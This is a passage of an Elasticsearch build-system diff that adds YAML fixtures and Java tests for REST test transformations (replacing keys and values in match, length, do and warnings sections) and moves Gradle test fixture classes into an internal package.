ReplaceMatch("_type", replacementNode, null)) - ); - printTest(testName, transformedTests); - validateTest(tests, false, true); - - } - - @Test - public void testReplaceByTest() throws Exception { - String testName = "/rest/transform/match/match.yml"; - List tests = getTests(testName); - JsonNode replacementNode = MAPPER.convertValue("_replaced_type", JsonNode.class); - validateTest(tests, true, false); - List transformedTests = transformTests( - new LinkedList<>(tests), - Collections.singletonList(new ReplaceMatch("_type", replacementNode, "Last test")) - ); - printTest(testName, transformedTests); - validateTest(tests, false, false); - } - - private void validateTest(List tests, boolean beforeTransformation, boolean allTests) { - validateSetupAndTearDownForMatchTests(tests); - // first test - JsonNode firstTestChild = tests.get(2).get("First test"); - assertThat(firstTestChild, CoreMatchers.instanceOf(ArrayNode.class)); - ArrayNode firstTestParentArray = (ArrayNode) firstTestChild; - - AtomicBoolean firstTestHasMatchObject = new AtomicBoolean(false); - AtomicBoolean firstTestHasTypeMatch = new AtomicBoolean(false); - - firstTestParentArray.elements().forEachRemaining(node -> { - assertThat(node, CoreMatchers.instanceOf(ObjectNode.class)); - ObjectNode childObject = (ObjectNode) node; - JsonNode matchObject = childObject.get("match"); - if (matchObject != null) { - firstTestHasMatchObject.set(true); - if (firstTestHasTypeMatch.get() == false && matchObject.get("_type") != null) { - firstTestHasTypeMatch.set(true); - } - if (matchObject.get("_type") != null && beforeTransformation == false && allTests) { - assertThat(matchObject.get("_type").asText(), CoreMatchers.is("_replaced_type")); - } - } - }); - assertTrue(firstTestHasMatchObject.get()); - assertTrue(firstTestHasTypeMatch.get()); - - // last test - JsonNode lastTestChild = tests.get(tests.size() - 1).get("Last test"); - assertThat(lastTestChild, CoreMatchers.instanceOf(ArrayNode.class)); - ArrayNode lastTestParentArray = (ArrayNode) lastTestChild; - - AtomicBoolean lastTestHasMatchObject = new AtomicBoolean(false); - AtomicBoolean lastTestHasTypeMatch = new AtomicBoolean(false); - lastTestParentArray.elements().forEachRemaining(node -> { - assertThat(node, CoreMatchers.instanceOf(ObjectNode.class)); - ObjectNode childObject = (ObjectNode) node; - JsonNode matchObject = childObject.get("match"); - if (matchObject != null) { - lastTestHasMatchObject.set(true); - if (lastTestHasTypeMatch.get() == false && matchObject.get("_type") != null) { - lastTestHasTypeMatch.set(true); - } - if (matchObject.get("_type") != null && beforeTransformation == false) { - assertThat(matchObject.get("_type").asText(), CoreMatchers.is("_replaced_type")); - } - } - }); - assertTrue(lastTestHasMatchObject.get()); - assertTrue(lastTestHasTypeMatch.get()); - - // exclude setup, teardown, first test, and last test - for (int i = 3; i <= tests.size() - 2; i++) { - ObjectNode otherTest = tests.get(i); - JsonNode otherTestChild = otherTest.get(otherTest.fields().next().getKey()); - assertThat(otherTestChild, CoreMatchers.instanceOf(ArrayNode.class)); - ArrayNode otherTestParentArray = (ArrayNode) otherTestChild; - otherTestParentArray.elements().forEachRemaining(node -> { - assertThat(node, CoreMatchers.instanceOf(ObjectNode.class)); - ObjectNode childObject = (ObjectNode) node; - JsonNode matchObject = childObject.get("match"); - if (matchObject != null) { - if (matchObject.get("_type") != null) { - if (matchObject.get("_type") != null && beforeTransformation == false && allTests) { - assertThat(matchObject.get("_type").asText(), CoreMatchers.is("_replaced_type")); - } - } - } - }); - } - } - - @Override - protected boolean getHumanDebug() { - return false; - } -} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/http/WaitForHttpResourceTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/testclusters/WaitForHttpResourceTests.java similarity index 95% rename from buildSrc/src/test/java/org/elasticsearch/gradle/http/WaitForHttpResourceTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/testclusters/WaitForHttpResourceTests.java index fd8300765a60a..a94eca15d1c82 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/http/WaitForHttpResourceTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/testclusters/WaitForHttpResourceTests.java @@ -6,9 +6,9 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.http; +package org.elasticsearch.gradle.testclusters; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import java.net.URL; import java.nio.file.Paths; diff --git a/buildSrc/src/test/resources/rest/transform/do/replace_key_in_do_original.yml b/buildSrc/src/test/resources/rest/transform/do/replace_key_in_do_original.yml new file mode 100644 index 0000000000000..0903543b4c12a --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/do/replace_key_in_do_original.yml @@ -0,0 +1,16 @@ +--- +"First test": + + - do: + do.key.to_replace: + something_else.is: true + + - do: + and: again + + do.key.to_replace: + some_other.thing.is: true + + - length: { length.key: 1 } + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } diff --git a/buildSrc/src/test/resources/rest/transform/do/replace_key_in_do_transformed.yml b/buildSrc/src/test/resources/rest/transform/do/replace_key_in_do_transformed.yml new file mode 100644 index 0000000000000..8032674c116d9 --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/do/replace_key_in_do_transformed.yml @@ -0,0 +1,16 @@ +--- +"First test": + + - do: + do.key.replaced: + something_else.is: true + + - do: + and: again + + do.key.replaced: + some_other.thing.is: true + + - length: { length.key: 1 } + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } diff --git a/buildSrc/src/test/resources/rest/transform/length/length_replace_original.yml b/buildSrc/src/test/resources/rest/transform/length/length_replace_original.yml new file mode 100644 index 0000000000000..4928053686952 --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/length/length_replace_original.yml @@ -0,0 +1,18 @@ +--- +"First test": + + - do: + something: + that_is: true + + - do: + and: again + + - key_not_to_replace: { copied.from.real.test.total: 1 } + - length: { key.in_length_to_replace: 1 } + + - do: + and: again + + - key_not_to_replace: { hits.total: 1 } + diff --git a/buildSrc/src/test/resources/rest/transform/length/length_replace_transformed.yml b/buildSrc/src/test/resources/rest/transform/length/length_replace_transformed.yml new file mode 100644 index 0000000000000..e5b24fe29f722 --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/length/length_replace_transformed.yml @@ -0,0 +1,18 @@ +--- +"First test": + + - do: + something: + that_is: true + + - do: + and: again + + - key_not_to_replace: { copied.from.real.test.total: 1 } + - length: { key.in_length_replaced: 1 } + + - do: + and: again + + - key_not_to_replace: { hits.total: 1 } + diff --git a/buildSrc/src/test/resources/rest/transform/match/key_replace/replace_key_in_match_original.yml b/buildSrc/src/test/resources/rest/transform/match/key_replace/replace_key_in_match_original.yml new file mode 100644 index 0000000000000..49785119fa495 --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/match/key_replace/replace_key_in_match_original.yml @@ -0,0 +1,22 @@ +--- +"First test": + + - do: + something: + that_is: true + + - do: + and: again + + - not_to_replace: { copied.from.real.test.total: 1 } + - length: { length.key: 1 } + - match: { match.key.to_replace: 0 } + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } + + - do: + and: again + + - key_not_to_replace: { hits.total: 1 } + - match: { match.key.to_replace: 0 } + diff --git a/buildSrc/src/test/resources/rest/transform/match/key_replace/replace_key_in_match_transformed.yml b/buildSrc/src/test/resources/rest/transform/match/key_replace/replace_key_in_match_transformed.yml new file mode 100644 index 0000000000000..82889955e54bd --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/match/key_replace/replace_key_in_match_transformed.yml @@ -0,0 +1,22 @@ +--- +"First test": + + - do: + something: + that_is: true + + - do: + and: again + + - not_to_replace: { copied.from.real.test.total: 1 } + - length: { length.key: 1 } + - match: { match.key.replaced: 0 } + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } + + - do: + and: again + + - key_not_to_replace: { hits.total: 1 } + - match: { match.key.replaced: 0 } + diff --git a/buildSrc/src/test/resources/rest/transform/match/match.yml b/buildSrc/src/test/resources/rest/transform/match/match.yml deleted file mode 100644 index bb35031d08804..0000000000000 --- a/buildSrc/src/test/resources/rest/transform/match/match.yml +++ /dev/null @@ -1,110 +0,0 @@ ---- -setup: - - do: - something: - here: ok ---- -teardown: - - do: - something_else: - here: true ---- -"First test": - - - do: - something: - that_is: true - - - do: - and: again - - - match: { copied.from.real.test.total: 1 } - - match: { hits.hits.0._index: "single_doc_index"} - - match: { _shards.total: 2 } - - match: { _shards.successful: 2 } - - match: { _shards.skipped : 0} - - match: { _shards.failed: 0 } - - - do: - and: again - - - match: { hits.total: 1 } - - match: { hits.hits.0._index: "my_remote_cluster:single_doc_index"} - - match: { _shards.total: 2 } - - match: { _shards.successful: 2 } - - match: { _shards.skipped : 0} - - match: { _below_is_target_for_tests: 0 } - - match: { _type: foo } - ---- -"Also has _type match": - - - do: - something: - that_is: true - - - do: - and: again - - - match: { hits.total.value: 0 } - - match: { _type: test } - - match: { _below_is_target_for_tests: 0 } - - match: { _type: foo } - - match: { _shards.total: 2 } - - match: { _shards.successful: 2 } - - match: { _shards.skipped : 1} - - match: { _shards.failed: 0 } - - - do: - not_random_but_representive: "of actual test" - - - match: { hits.total.value: 0 } - - match: { _shards.total: 2 } - - match: { _shards.successful: 2 } - - match: { _shards.skipped : 1} - - match: { _shards.failed: 0 } - ---- -"Does not have _type match ": - - - do: - something: - that_is: true - - - do: - and: again - - - match: { hits.total.value: 0 } - - match: { _shards.total: 2 } - - match: { _shards.successful: 2 } - - match: { _shards.skipped : 1} - - match: { _shards.failed: 0 } - - - do: - it: again - - - match: { hits.total.value: 0 } - - match: { _shards.total: 2 } - - match: { _shards.successful: 2 } - - match: { _shards.skipped : 1} - - match: { _shards.failed: 0 } ---- -"Last test": - - - do: - something: 中文 - - - match: { _index: test_1 } - - match: { _type: test } - - match: { _id: 中文 } - - match: { _source: { foo: "Hello: 中文" } } - - - do: - something_else: 中文 - - - match: { _index: test_1 } - - match: { _type: "the value does not matter" } - - match: { _id: 中文 } - - match: { _source: { foo: "Hello: 中文" } } - - diff --git a/buildSrc/src/test/resources/rest/transform/match/match_original.yml b/buildSrc/src/test/resources/rest/transform/match/match_original.yml new file mode 100644 index 0000000000000..c431fa373523b --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/match/match_original.yml @@ -0,0 +1,113 @@ +--- +setup: + - do: + something: + here: ok +--- +teardown: + - do: + something_else: + here: true +--- +"First test": + + - do: + something: + that_is: true + + - do: + and: again + + - match: { copied.from.real.test.total: 1 } + - match: { hits.hits.0._index: "single_doc_index"} + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } + - match: { _shards.skipped : 0} + - match: { _shards.failed: 0 } + + - do: + and: again + + - match: { hits.total: 1 } + - match: { hits.hits.0._index: "my_remote_cluster:single_doc_index"} + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } + - match: { _shards.skipped : 0} + - match: { _below_is_target_for_tests: 0 } + - match: { _type: foo } + +--- +"Also has _type match": + + - do: + something: + that_is: true + + - do: + and: again + + - match: { hits.total.value: 0 } + - match: { _type: test } + - match: { _below_is_target_for_tests: 0 } + - match: { _type: foo } + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } + - match: { _shards.skipped : 1} + - match: { _shards.failed: 0 } + + - do: + not_random_but_representive: "of actual test" + + - match: { hits.total.value: 0 } + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } + - match: { _shards.skipped : 1} + - match: { _shards.failed: 0 } + +--- +"Does not have _type match ": + + - do: + something: + that_is: true + + - do: + and: again + + - match: { hits.total.value: 0 } + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } + - match: { _shards.skipped : 1} + - match: { _shards.failed: 0 } + + - do: + it: again + + - match: { hits.total.value: 0 } + - match: { _shards.total: 2 } + - match: { _shards.successful: 2 } + - match: { _shards.skipped : 1} + - match: { _shards.failed: 0 } + - match: { _replace_in_last_test_only: "the value does not matter" } + +--- +"Last test": + + - do: + something: 中文 + + - match: { _index: test_1 } + - match: { _type: test } + - match: { _id: 中文 } + - match: { _source: { foo: "Hello: 中文" } } + + - do: + something_else: 中文 + + - match: { _index: test_1 } + - match: { _type: "the value does not matter" } + - match: { _replace_in_last_test_only: "the value does not matter" } + - match: { _id: 中文 } + - match: { _source: { foo: "Hello: 中文" } } + + diff --git a/buildSrc/src/test/resources/rest/transform/match/match_transformed.yml b/buildSrc/src/test/resources/rest/transform/match/match_transformed.yml new file mode 100644 index 0000000000000..4e6edde1589b4 --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/match/match_transformed.yml @@ -0,0 +1,137 @@ +--- +setup: + - do: + something: + here: "ok" +--- +teardown: + - do: + something_else: + here: true +--- +First test: + - do: + something: + that_is: true + - do: + and: "again" + - match: + copied.from.real.test.total: 1 + - match: + hits.hits.0._index: "single_doc_index" + - match: + _shards.total: 2 + - match: + _shards.successful: 2 + - match: + _shards.skipped: 0 + - match: + _shards.failed: 0 + - do: + and: "again" + - match: + hits.total: 1 + - match: + hits.hits.0._index: "my_remote_cluster:single_doc_index" + - match: + _shards.total: 2 + - match: + _shards.successful: 2 + - match: + _shards.skipped: 0 + - match: + _below_is_target_for_tests: 0 + - match: + _type: "_replaced_type" +--- +Also has _type match: + - do: + something: + that_is: true + - do: + and: "again" + - match: + hits.total.value: 0 + - match: + _type: "_replaced_type" + - match: + _below_is_target_for_tests: 0 + - match: + _type: "_replaced_type" + - match: + _shards.total: 2 + - match: + _shards.successful: 2 + - match: + _shards.skipped: 1 + - match: + _shards.failed: 0 + - do: + not_random_but_representive: "of actual test" + - match: + hits.total.value: 0 + - match: + _shards.total: 2 + - match: + _shards.successful: 2 + - match: + _shards.skipped: 1 + - match: + _shards.failed: 0 +--- +'Does not have _type match ': + - do: + something: + that_is: true + - do: + and: "again" + - match: + hits.total.value: 0 + - match: + _shards.total: 2 + - match: + _shards.successful: 2 + - match: + _shards.skipped: 1 + - match: + _shards.failed: 0 + - do: + it: "again" + - match: + hits.total.value: 0 + - match: + _shards.total: 2 + - match: + _shards.successful: 2 + - match: + _shards.skipped: 1 + - match: + _shards.failed: 0 + - match: + _replace_in_last_test_only: "the value does not matter" +--- +Last test: + - do: + something: "中文" + - match: + _index: "test_1" + - match: + _type: "_replaced_type" + - match: + _id: "中文" + - match: + _source: + foo: "Hello: 中文" + - do: + something_else: "中文" + - match: + _index: "test_1" + - match: + _type: "_replaced_type" + - match: + _replace_in_last_test_only: "_replaced_type" + - match: + _id: "中文" + - match: + _source: + foo: "Hello: 中文" diff --git a/buildSrc/src/test/resources/rest/transform/text/text_replace_original.yml b/buildSrc/src/test/resources/rest/transform/text/text_replace_original.yml new file mode 100644 index 0000000000000..78ce5c33b6c66 --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/text/text_replace_original.yml @@ -0,0 +1,104 @@ +--- +setup: + - do: + something: + here: ok +--- +teardown: + - do: + something_else: + here: true +--- +"First test": + + - do: + something: + that_is: true + + - do: + and: again + + - key_not_to_replace: { copied.from.real.test.total: 1 } + - key_not_to_replace: { hits.hits.0._index: "single_doc_index"} + - key_not_to_replace: { _shards.total: 2 } + - key_not_to_replace: { _shards.successful: 2 } + - key_not_to_replace: { _shards.skipped : 0} + - key_not_to_replace: { _shards.failed: 0 } + + - do: + and: again + + - key_not_to_replace: { hits.total: 1 } + - key_not_to_replace: { hits.hits.0._index: "my_remote_cluster:single_doc_index"} + - key_not_to_replace: { _shards.total: 2 } + - key_not_to_replace: { _shards.successful: 2 } + - key_not_to_replace: { _shards.skipped : 0} + - key_not_to_replace: { _below_is_target_for_tests: 0 } + - key_to_replace: "value_to_replace" + - is_true: is_true_to_replace + - is_false: is_false_to_replace + +--- +"Also has key_value to replace": + + - do: + something: + that_is: true + + - do: + and: again + + - key_not_to_replace: { hits.total.value: 0 } + - key_to_replace: "value_to_replace" + - key_not_to_replace: { _below_is_target_for_tests: 0 } + - key_not_to_replace: { _type: foo } + - key_not_to_replace: { _shards.total: 2 } + - key_not_to_replace: { _shards.successful: 2 } + - key_not_to_replace: { _shards.skipped : 1} + - key_not_to_replace: { _shards.failed: 0 } + + - do: + not_random_but_representive: "of actual test" + + - key_not_to_replace: { hits.total.value: 0 } + - key_not_to_replace: { _shards.total: 2 } + - key_not_to_replace: { _shards.successful: 2 } + - key_not_to_replace: { _shards.skipped : 1} + - key_not_to_replace: { _shards.failed: 0 } + +--- +"Does not have key_value to replace ": + + - do: + something: + that_is: true + + - do: + and: again + + - key_to_replace: "value_NOT_to_replace" + + - do: + it: again + + - key_not_to_replace: { _type: 0 } + - key_not_to_replace: { _shards.total: 2 } + +--- +"Last test": + + - do: + something: 中文 + + - key_not_to_replace: { _index: test_1 } + - key_to_replace: "value_to_replace" + - key_not_to_replace: { _id: 中文 } + - key_not_to_replace: { _source: { foo: "Hello: 中文" } } + + - do: + something_else: 中文 + + - key_not_to_replace: { _index: test_1 } + - key_not_to_replace: { _type: "the value does not matter" } + - key_not_to_replace: { _id: 中文 } + - key_not_to_replace: { _source: { foo: "Hello: 中文" } } diff --git a/buildSrc/src/test/resources/rest/transform/text/text_replace_transformed.yml b/buildSrc/src/test/resources/rest/transform/text/text_replace_transformed.yml new file mode 100644 index 0000000000000..3295445dd0bf9 --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/text/text_replace_transformed.yml @@ -0,0 +1,117 @@ +--- +setup: + - do: + something: + here: "ok" +--- +teardown: + - do: + something_else: + here: true +--- +First test: + - do: + something: + that_is: true + - do: + and: "again" + - key_not_to_replace: + copied.from.real.test.total: 1 + - key_not_to_replace: + hits.hits.0._index: "single_doc_index" + - key_not_to_replace: + _shards.total: 2 + - key_not_to_replace: + _shards.successful: 2 + - key_not_to_replace: + _shards.skipped: 0 + - key_not_to_replace: + _shards.failed: 0 + - do: + and: "again" + - key_not_to_replace: + hits.total: 1 + - key_not_to_replace: + hits.hits.0._index: "my_remote_cluster:single_doc_index" + - key_not_to_replace: + _shards.total: 2 + - key_not_to_replace: + _shards.successful: 2 + - key_not_to_replace: + _shards.skipped: 0 + - key_not_to_replace: + _below_is_target_for_tests: 0 + - key_to_replace: "_replaced_value" + - is_true: is_true_replaced + - is_false: is_false_replaced +--- +Also has key_value to replace: + - do: + something: + that_is: true + - do: + and: "again" + - key_not_to_replace: + hits.total.value: 0 + - key_to_replace: "_replaced_value" + - key_not_to_replace: + _below_is_target_for_tests: 0 + - key_not_to_replace: + _type: "foo" + - key_not_to_replace: + _shards.total: 2 + - key_not_to_replace: + _shards.successful: 2 + - key_not_to_replace: + _shards.skipped: 1 + - key_not_to_replace: + _shards.failed: 0 + - do: + not_random_but_representive: "of actual test" + - key_not_to_replace: + hits.total.value: 0 + - key_not_to_replace: + _shards.total: 2 + - key_not_to_replace: + _shards.successful: 2 + - key_not_to_replace: + _shards.skipped: 1 + - key_not_to_replace: + _shards.failed: 0 +--- +'Does not have key_value to replace ': + - do: + something: + that_is: true + - do: + and: "again" + - key_to_replace: "value_NOT_to_replace" + - do: + it: "again" + - key_not_to_replace: + _type: 0 + - key_not_to_replace: + _shards.total: 2 +--- +Last test: + - do: + something: "中文" + - key_not_to_replace: + _index: "test_1" + - key_to_replace: "_replaced_value" + - key_not_to_replace: + _id: "中文" + - key_not_to_replace: + _source: + foo: "Hello: 中文" + - do: + something_else: "中文" + - key_not_to_replace: + _index: "test_1" + - key_not_to_replace: + _type: "the value does not matter" + - key_not_to_replace: + _id: "中文" + - key_not_to_replace: + _source: + foo: "Hello: 中文" diff --git a/buildSrc/src/test/resources/rest/transform/warnings/with_existing_allowed_warnings.yml b/buildSrc/src/test/resources/rest/transform/warnings/with_existing_allowed_warnings.yml new file mode 100644 index 0000000000000..2e07c956239fd --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/warnings/with_existing_allowed_warnings.yml @@ -0,0 +1,19 @@ +--- +setup: + - skip: + features: + - allowed_warnings + - allowed_warnings_regex +--- +"Test with existing allowed warnings": + - do: + allowed_warnings: + - "a" + - "b" + allowed_warnings_regex: + - "c" + - "d" + something: + id: "something" + - match: { acknowledged: true } + diff --git a/buildSrc/src/test/resources/rest/transform/warnings/with_existing_single_warnings.yml b/buildSrc/src/test/resources/rest/transform/warnings/with_existing_single_warnings.yml new file mode 100644 index 0000000000000..0c4a20cb683ca --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/warnings/with_existing_single_warnings.yml @@ -0,0 +1,13 @@ +--- +setup: + - skip: + features: warnings +--- +"Test warnings": + - do: + warnings: + - "a" + something: + id: "something" + - match: { acknowledged: true } + diff --git a/buildSrc/src/test/resources/rest/transform/warnings/with_existing_warnings.yml b/buildSrc/src/test/resources/rest/transform/warnings/with_existing_warnings.yml new file mode 100644 index 0000000000000..df1ebb1bdba01 --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/warnings/with_existing_warnings.yml @@ -0,0 +1,31 @@ +--- +setup: + - skip: + features: + - warnings + - warnings_regex +--- +"Test warnings": + - do: + warnings: + - "a" + - "b" + warnings_regex: + - "c" + - "d" + something: + id: "something" + - match: { acknowledged: true } +--- +"Not the test to change": + - do: + warnings: + - "a" + - "b" + warnings_regex: + - "c" + - "d" + something: + id: "something" + - match: { acknowledged: true } + diff --git a/buildSrc/src/test/resources/rest/transform/warnings/without_existing_warnings.yml b/buildSrc/src/test/resources/rest/transform/warnings/without_existing_warnings.yml new file mode 100644 index 0000000000000..423f5eb8462e6 --- /dev/null +++ b/buildSrc/src/test/resources/rest/transform/warnings/without_existing_warnings.yml @@ -0,0 +1,13 @@ +--- +"Test warnings": + - do: + something: + id: "something" + - match: { acknowledged: true } +--- +"Test another": + - do: + something: + id: "something" + - match: { acknowledged: true } + diff --git a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/BaseTestCase.java b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/BaseTestCase.java similarity index 97% rename from buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/BaseTestCase.java rename to buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/BaseTestCase.java index 8fb6db0049b30..f429c7035c463 100644 --- a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/BaseTestCase.java +++ b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/BaseTestCase.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; import com.carrotsearch.randomizedtesting.JUnit4MethodProvider; import com.carrotsearch.randomizedtesting.RandomizedRunner; diff --git a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/GradleIntegrationTestCase.java b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/GradleIntegrationTestCase.java similarity index 86% rename from buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/GradleIntegrationTestCase.java rename to buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/GradleIntegrationTestCase.java index 9fe178790d8ad..b98468073f7a6 100644 --- a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/GradleIntegrationTestCase.java +++ b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/GradleIntegrationTestCase.java @@ -5,8 +5,9 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; +import org.apache.commons.io.FileUtils; import org.gradle.testkit.runner.BuildResult; import org.gradle.testkit.runner.BuildTask; import org.gradle.testkit.runner.GradleRunner; @@ -33,33 +34,48 @@ public abstract class GradleIntegrationTestCase extends GradleUnitTestCase { @Rule public TemporaryFolder testkitTmpDir = new TemporaryFolder(); - protected File getProjectDir(String name) { - File root = new File("src/testKit/"); - if (root.exists() == false) { - throw new RuntimeException( - "Could not find resources dir for integration tests. " - + "Note that these tests can only be ran by Gradle and are not currently supported by the IDE" - ); + public File workingProjectDir = null; + + public abstract String projectName(); + + protected File getProjectDir() { + if (workingProjectDir == null) { + File root = new File("src/testKit/"); + if (root.exists() == false) { + throw new RuntimeException( + "Could not find resources dir for integration tests. " + + "Note that these tests can only be ran by Gradle and are not currently supported by the IDE" + ); + } + try { + workingProjectDir = new File(testkitTmpDir.getRoot(), projectName()); + File sourcFolder = new File(root, projectName()); + FileUtils.copyDirectory(sourcFolder, workingProjectDir); + } catch (IOException e) { + throw new UncheckedIOException(e); + } + } - return new File(root, name).getAbsoluteFile(); + return workingProjectDir; } - protected GradleRunner getGradleRunner(String sampleProject) { + protected GradleRunner getGradleRunner() { File testkit; try { testkit = testkitTmpDir.newFolder(); + } catch (IOException e) { throw new UncheckedIOException(e); } return GradleRunner.create() - .withProjectDir(getProjectDir(sampleProject)) + .withProjectDir(getProjectDir()) .withPluginClasspath() .withTestKitDir(testkit) .withDebug(ManagementFactory.getRuntimeMXBean().getInputArguments().toString().indexOf("-agentlib:jdwp") > 0); } protected File getBuildDir(String name) { - return new File(getProjectDir(name), "build"); + return new File(getProjectDir(), "build"); } protected void assertOutputContains(String output, String... lines) { diff --git a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/GradleThreadsFilter.java b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/GradleThreadsFilter.java similarity index 94% rename from buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/GradleThreadsFilter.java rename to buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/GradleThreadsFilter.java index 2245d15403894..24a12b87377a0 100644 --- a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/GradleThreadsFilter.java +++ b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/GradleThreadsFilter.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; import com.carrotsearch.randomizedtesting.ThreadFilter; diff --git a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/GradleUnitTestCase.java b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/GradleUnitTestCase.java similarity index 95% rename from buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/GradleUnitTestCase.java rename to buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/GradleUnitTestCase.java index 05838a920e47f..accf1f18e7743 100644 --- a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/GradleUnitTestCase.java +++ b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/GradleUnitTestCase.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; import com.carrotsearch.randomizedtesting.JUnit4MethodProvider; import com.carrotsearch.randomizedtesting.RandomizedRunner; diff --git a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/JUnit3MethodProvider.java b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/JUnit3MethodProvider.java similarity index 93% rename from buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/JUnit3MethodProvider.java rename to buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/JUnit3MethodProvider.java index f2b3fcf5857a1..b4c9123384dab 100644 --- a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/JUnit3MethodProvider.java +++ b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/JUnit3MethodProvider.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; import com.carrotsearch.randomizedtesting.ClassModel; import com.carrotsearch.randomizedtesting.ClassModel.MethodModel; @@ -34,7 +34,7 @@ public Collection getTestMethods(Class suiteClass, ClassModel classMo Method m = mm.element; if (m.getName().startsWith("test") && Modifier.isPublic(m.getModifiers()) - && !Modifier.isStatic(m.getModifiers()) + && Modifier.isStatic(m.getModifiers()) == false && m.getParameterTypes().length == 0) { result.add(m); } diff --git a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/TestClasspathUtils.java b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/TestClasspathUtils.java similarity index 97% rename from buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/TestClasspathUtils.java rename to buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/TestClasspathUtils.java index 86b138bd3ab3d..24b2342d734bd 100644 --- a/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/test/TestClasspathUtils.java +++ b/buildSrc/src/testFixtures/java/org/elasticsearch/gradle/internal/test/TestClasspathUtils.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; import java.io.File; import java.io.IOException; diff --git a/buildSrc/src/testKit/elasticsearch-build-resources/build.gradle b/buildSrc/src/testKit/elasticsearch-build-resources/build.gradle index bb07ac0f50c91..05f8cc7665c85 100644 --- a/buildSrc/src/testKit/elasticsearch-build-resources/build.gradle +++ b/buildSrc/src/testKit/elasticsearch-build-resources/build.gradle @@ -1,4 +1,4 @@ -import org.elasticsearch.gradle.ExportElasticsearchBuildResourcesTask +import org.elasticsearch.gradle.internal.ExportElasticsearchBuildResourcesTask plugins { id 'base' diff --git a/buildSrc/src/testKit/elasticsearch.build/build.gradle b/buildSrc/src/testKit/elasticsearch.build/build.gradle index 6554c0bc155fc..93c9bd273a8ff 100644 --- a/buildSrc/src/testKit/elasticsearch.build/build.gradle +++ b/buildSrc/src/testKit/elasticsearch.build/build.gradle @@ -2,7 +2,7 @@ plugins { id 'java' id 'elasticsearch.global-build-info' } -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams BuildParams.init { it.setIsInternal(true) } apply plugin:'elasticsearch.build' @@ -32,7 +32,7 @@ repositories { artifact() } } - jcenter() + 